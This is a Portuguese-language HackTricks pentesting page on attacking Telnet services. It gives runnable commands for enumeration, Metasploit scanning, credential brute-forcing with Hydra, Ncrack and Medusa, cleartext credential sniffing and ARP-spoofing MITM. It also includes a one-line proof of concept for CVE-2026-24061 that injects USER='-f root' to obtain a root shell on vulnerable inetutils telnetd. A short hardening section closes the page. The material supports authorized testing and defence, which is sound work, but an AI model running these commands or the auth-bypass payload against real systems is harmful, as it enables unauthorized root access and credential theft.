23 - Pentesting Telnet
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.
Informações Básicas
Telnet é um protocolo de rede que fornece aos usuários uma forma insegura de acessar um computador pela rede.
Porta padrão: 23
23/tcp open telnet
Enumeração
Banner Grabbing
nc -vn <IP> 23
Toda a enumeração interessante pode ser realizada por nmap:
nmap -n -sV -Pn --script "*telnet* and safe" -p 23 <IP>
O script telnet-ntlm-info.nse irá obter informações NTLM (versões do Windows).
From the telnet RFC: No Protocolo TELNET existem várias “opções” que serão sancionadas e podem ser usadas com a estrutura “DO, DON’T, WILL, WON’T” para permitir que um cliente e um servidor concordem em usar um conjunto mais elaborado (ou talvez apenas diferente) de convenções para sua conexão TELNET. Tais opções podem incluir a mudança do conjunto de caracteres, o modo de echo, etc.
Sei que é possível enumerar essas opções, mas não sei como — avise-me se souber como.
Enumerar Opções / Recursos do Telnet
Telnet usa IAC + DO/DONT/WILL/WONT nas negociações para habilitar opções. Você pode observar as opções suportadas capturando a negociação inicial e sondando por recursos específicos.
Sondas de opções/recursos do Nmap
# Detect support for the Telnet ENCRYPT option
nmap -p 23 --script telnet-encryption <IP>
# Enumerate Microsoft Telnet NTLM info (NetBIOS/DNS/OS build)
nmap -p 23 --script telnet-ntlm-info <IP>
# Brute-force via NSE (alternative to Hydra/Medusa)
nmap -p 23 --script telnet-brute --script-args userdb=users.txt,passdb=pass.txt <IP>
O script telnet-encryption verifica se a opção ENCRYPT é suportada; algumas implementações historicamente trataram essa opção incorretamente e foram vulneráveis, mas o script apenas verifica o suporte.
telnet-ntlm-info revela metadados NTLM (NetBIOS/DNS/OS build) quando o Microsoft Telnet NTLM está habilitado.
telnet-brute é um auditor NSE de brute-force para Telnet.
Brute force
Arquivo de configuração
/etc/inetd.conf
/etc/xinetd.d/telnet
/etc/xinetd.d/stelnet
HackTricks Comandos Automáticos
Protocol_Name: Telnet #Protocol Abbreviation if there is one.
Port_Number: 23 #Comma separated if there is more than one.
Protocol_Description: Telnet #Protocol Abbreviation Spelled out
Entry_1:
Name: Notes
Description: Notes for t=Telnet
Note: |
wireshark to hear creds being passed
tcp.port == 23 and ip.addr != myip
https://book.hacktricks.wiki/en/network-services-pentesting/pentesting-telnet.html
Entry_2:
Name: Banner Grab
Description: Grab Telnet Banner
Command: nc -vn {IP} 23
Entry_3:
Name: Nmap with scripts
Description: Run nmap scripts for telnet
Command: nmap -n -sV -Pn --script "*telnet*" -p 23 {IP}
Entry_4:
Name: consoleless mfs enumeration
Description: Telnet enumeration without the need to run msfconsole
Note: sourced from https://github.com/carlospolop/legion
Command: msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_version; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/brocade_enable_login; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_encrypt_overflow; set RHOSTS {IP}; set RPORT 23; run; exit' && msfconsole -q -x 'use auxiliary/scanner/telnet/telnet_ruggedcom; set RHOSTS {IP}; set RPORT 23; run; exit'
Vulnerabilidades Recentes (2022-2026)
- CVE-2024-45698 – D-Link Wi-Fi 6 routers (DIR-X4860): Validação inadequada de entrada no serviço telnet permite que atacantes remotos façam login usando hard-coded credentials e injetem comandos do SO; corrigido pelo firmware 1.04B05 ou posterior.
- CVE-2023-40478 – NETGEAR RAX30: Buffer overflow baseado em stack no Telnet CLI
passwdpermite execução de código com privilégios root a partir de rede adjacente; autenticação é necessária, mas pode ser contornada. - CVE-2022-39028 – GNU inetutils telnetd: Uma sequência de dois bytes (
0xff 0xf7/0xff 0xf8) pode disparar uma desreferência de ponteiro NULL emtelnetd, e quedas repetidas podem fazer inetd desabilitar o serviço (DoS).
Tenha essas CVEs em mente durante a triagem de vulnerabilidades — se o alvo estiver executando um firmware não corrigido ou um daemon Telnet legado do inetutils, você pode ter um caminho direto para execução de código ou um DoS disruptivo.
CVE-2026-24061 — GNU Inetutils telnetd auth bypass (Crítico)
Primitive: Telnet NEW_ENVIRON permite que clientes enviem variáveis de ambiente durante a negociação de opções; o inetutils telnetd substitui %U no seu template de login por getenv("USER") e passa isso diretamente para /usr/bin/login, permitindo argv-level option injection (sem expansão de shell).
Causa raiz: versões 1.9.3–2.7 expandem %U sem filtragem, então um valor USER começando com - é interpretado como uma flag do login. Por exemplo, %U se torna -f root, resultando em /usr/bin/login -h <hostname> "-f root" e ignorando a autenticação via login -f.
Exploit flow:
- Conecte-se ao serviço Telnet e negocie NEW_ENVIRON para definir
USER=-f root. telnetdmonta o argv do login incluindo o valor%Ucontrolado pelo atacante./usr/bin/logininterpreta-f rootcomo “usuário pré-autenticado root” e inicia uma shell com privilégios root.
PoC
# Inject USER via NEW_ENVIRON and obtain a root shell
USER='-f root' telnet -a <ip>
Nota de correção: inetutils 2.7-2 introduz um helper sanitize() que rejeita valores que começam com - ou que contenham espaços/metacaracteres antes de substituí-los no argv de login, bloqueando option injection.
Detecção/verificação: identifique daemons expostos com telnetd --version, dpkg -l | grep inetutils, systemctl status inetutils-telnetd, ou netstat -tlnp | grep :23.
Mitigações
- Corrija/atualize os pacotes afetados imediatamente (por exemplo, as correções do Debian estão em
2:2.4-2+deb12u2,2:2.6-3+deb13u1, e2:2.7-2). - Desative o Telnet ou restrinja o acesso a redes de gerenciamento confiáveis enquanto aplica as correções.
Sniffing Credentials & Man-in-the-Middle
Telnet transmite tudo, incluindo credenciais, em clear-text. Duas formas rápidas de capturá-las:
# Live capture with tcpdump (print ASCII)
sudo tcpdump -i eth0 -A 'tcp port 23 and not src host $(hostname -I | cut -d" " -f1)'
# Wireshark display filter
tcp.port == 23 && (telnet.data || telnet.option)
Para MITM ativo, combine ARP spoofing (por exemplo arpspoof/ettercap) com os mesmos filtros de sniffing para coletar senhas em redes comutadas.
Brute-force Automatizado / Password Spraying
# Hydra (stop at first valid login)
hydra -L users.txt -P rockyou.txt -t 4 -f telnet://<IP>
# Ncrack (drop to interactive session on success)
ncrack -p 23 --user admin -P common-pass.txt --connection-limit 4 <IP>
# Medusa (parallel hosts)
medusa -M telnet -h targets.txt -U users.txt -P passwords.txt -t 6 -f
A maioria dos botnets IoT (variantes Mirai) ainda escaneia a porta 23 com pequenos dicionários de credenciais padrão — espelhar essa lógica pode identificar rapidamente dispositivos fracos.
Exploração & Pós-Exploração
Metasploit tem vários módulos úteis:
auxiliary/scanner/telnet/telnet_version– banner & option enumeration.auxiliary/scanner/telnet/brute_telnet– multithreaded bruteforce.auxiliary/scanner/telnet/telnet_encrypt_overflow– RCE against vulnerable Solaris 9/10 Telnet (option ENCRYPT handling).exploit/linux/mips/netgear_telnetenable– enables telnet service with a crafted packet on many NETGEAR routers.
Depois que um shell é obtido, lembre-se de que TTYs geralmente são limitados; faça upgrade com python -c 'import pty;pty.spawn("/bin/bash")' ou use o HackTricks TTY tricks.
Endurecimento & Detecção (canto da Blue team)
- Prefira SSH e desative o serviço Telnet completamente.
- Se Telnet for necessário, vincule-o apenas às VLANs de gerenciamento, aplique ACLs e envolva o daemon com TCP wrappers (
/etc/hosts.allow). - Substitua implementações legadas de
telnetdporssl-telnetoutelnetd-sslpara adicionar criptografia de transporte, mas isso protege apenas os dados em trânsito — a adivinhação de senhas continua trivial. - Monitore tráfego de saída para a porta 23; compromissos frequentemente geram reverse shells sobre Telnet para contornar filtros de egress HTTP estritos.
Referências
- OffSec – CVE-2026-24061 – GNU InetUtils telnetd Authentication Bypass Vulnerability
- Inetutils sanitize() fix (ccba9f748aa8d50a38d7748e2e60362edd6a32cc)
- NVD – CVE-2026-24061
- Debian Security Tracker – CVE-2026-24061
- Canadian Centre for Cyber Security Alert AL26-002 (CVE-2026-24061)
- NVD – CVE-2022-39028 inetutils
telnetdDoS - NVD – CVE-2024-45698 D-Link DIR-X4860 Telnet RCE
Tip
Aprenda e pratique Hacking AWS:
HackTricks Training AWS Red Team Expert (ARTE)
Aprenda e pratique Hacking GCP:HackTricks Training GCP Red Team Expert (GRTE)
Aprenda e pratique Hacking Azure:
HackTricks Training Azure Red Team Expert (AzRTE)
Supporte o HackTricks
- Confira os planos de assinatura!
- Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-nos no Twitter 🐦 @hacktricks_live.
- Compartilhe truques de hacking enviando PRs para o HackTricks e HackTricks Cloud repositórios do github.


